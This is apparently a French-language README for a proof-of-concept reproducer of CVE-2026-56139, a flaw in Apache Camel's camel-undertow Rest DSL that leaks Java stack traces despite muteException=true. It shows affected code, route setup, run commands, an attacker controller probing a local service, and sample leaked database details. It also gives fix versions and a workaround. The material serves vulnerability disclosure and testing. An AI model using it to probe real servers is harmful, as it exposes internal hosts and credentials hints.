
Reproducteur de PoC pour CVE-2026-56139 (Apache Camel camel-undertow Rest DSL) : la liaison Rest DSL code en dur muteException=false, donc un muteException=true configuré est ignoré et la trace de pile complète d'une exception non capturée est renvoyée au client (CWE-209). Corrigé en 4.14.8/4.18.3/4.21.0.
Ce projet illustre un problème de divulgation d'informations dans le consommateur Rest DSL camel-undertow d'Apache Camel, référencé sous le nom CVE-2026-56139. L'option muteException détermine si le détail d'une exception de traitement non interceptée est renvoyé au client HTTP. Sur un endpoint undertow classique, l'option fonctionne — mais le Rest DSL undertow crée sa liaison de réponse avec muteException codée en dur à false et ne copie jamais la valeur configurée ; muteException est donc silencieusement ignoré en mode REST et la trace de pile Java complète est renvoyée malgré tout :
// UndertowComponent (affected 4.18.2) — the Rest DSL binding is created without the endpoint's muteException
if (!map.containsKey("undertowHttpBinding")) {
endpoint.setUndertowHttpBinding(new RestUndertowHttpBinding(endpoint.isUseStreaming())); // muteException stays false
}
Comme le undertowHttpBinding de l'endpoint est désormais non nul, UndertowEndpoint.getUndertowHttpBinding() renvoie cette liaison Rest telle quelle et n'exécute jamais la branche qui copie le muteException de l'endpoint sur celle-ci. Ainsi, une route qui définit explicitement muteException=true continue de divulguer les traces de pile lorsqu'elle est servie via le Rest DSL — exposant les noms d'hôtes internes du backend, les URL de bases de données, les indices d'identifiants/coffres de secrets, les versions de bibliothèques et les emplacements du code source.
Cette PoC illustre l'impact comme une exposition d'informations via un message d'erreur (CWE-209). Il s'agit de l'équivalent spécifique au Rest DSL de la CVE-2026-49365 (qui a corrigé la valeur par défaut de muteException pour les endpoints camel-netty-http et camel-undertow classiques) ; les deux ont été corrigées ensemble dans le cadre de CAMEL-23651.
Avis de sécurité : https://camel.apache.org/security/CVE-2026-56139.html
Le correctif fait en sorte que le chemin Rest DSL copie
endpoint.getMuteException()dans leRestUndertowHttpBinding, afin que le Rest DSL respecte le réglage (ainsi que la valeur par défaut corrigée detrue).
// Both configured with muteException=true (camel.component.undertow.mute-exception=true):
restConfiguration().component("undertow").host("0.0.0.0").port(8888);
rest("/api").get("/orders").to("direct:boom"); // Rest DSL — IGNORES muteException, leaks
from("direct:boom").process(new FailingProcessor());
from("undertow:http://0.0.0.0:8889/plain/orders") // plain endpoint — HONOURS muteException, empty body
.process(new FailingProcessor());
CVE-2026-56139/
├── pom.xml # camel-undertow 4.18.2
├── Dockerfile
├── docker-compose.yml # single self-contained service
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── FailingProcessor.java # throws an exception carrying sensitive internal detail
│ ├── RestRoutes.java # undertow Rest DSL (:8888) + plain undertow endpoint (:8889)
│ └── ExploitController.java # attacker: GETs both, shows Rest DSL leaks while plain is muted
└── resources/
└── application.properties # camel.component.undertow.mute-exception=true
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
1) undertow Rest DSL :8888 (muteException=true, but the Rest binding hard-codes false)
HTTP 500
response body (NNNN bytes) — LEAKS internal detail:
| java.lang.IllegalStateException: Inventory lookup failed: cannot connect to
| jdbc:postgresql://prod-db.internal:5432/inventory (user=svc_inventory, ...)
| at com.example.FailingProcessor.process(FailingProcessor.java:...)
| ...[truncated]
2) plain undertow endpoint :8889 (same muteException=true — honoured)
HTTP 500
response body: <empty>
>>> Information disclosure: true
Mettez à niveau vers 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23651). Après la mise à niveau, le Rest DSL undertow respecte muteException (et le définit par défaut à true), de sorte que la trace de pile n'est plus renvoyée.
En attendant la mise à niveau, ajoutez un onException(...).handled(true) (ou un gestionnaire d'erreurs global) qui renvoie un message générique au lieu de la trace de pile, et ne vous fiez pas uniquement à muteException pour les consommateurs Rest DSL undertow.
Ce reproducteur est fourni uniquement pour la recherche en sécurité et les tests autorisés, pour une vulnérabilité publiquement divulguée et corrigée. Ne l'utilisez pas contre des systèmes sans autorisation explicite.
| Propriété | Valeur |
|---|
| Composant | camel-undertow (consommateur Rest DSL) |
| Classe concernée | org.apache.camel.component.undertow.UndertowComponent — crée RestUndertowHttpBinding sans copier muteException (qui prend donc la valeur par défaut false) |
| CWE | CWE-209 (génération d'un message d'erreur contenant des informations sensibles) |
| Impact | Trace de pile Java complète renvoyée à un client non authentifié, même lorsque muteException=true est configuré |
| Conditions préalables | Un consommateur Rest DSL undertow ; toute requête déclenchant une exception de traitement |
| Versions concernées | De 4.0.0 jusqu'à avant 4.14.8, de 4.15.0 jusqu'à avant 4.18.3, de 4.19.0 jusqu'à avant 4.21.0 |
| Versions corrigées | 4.14.8, 4.18.3, 4.21.0 |
| JIRA | CAMEL-23651 (PR apache/camel#23913) |
| Crédit | Yu Bao (PayPal) |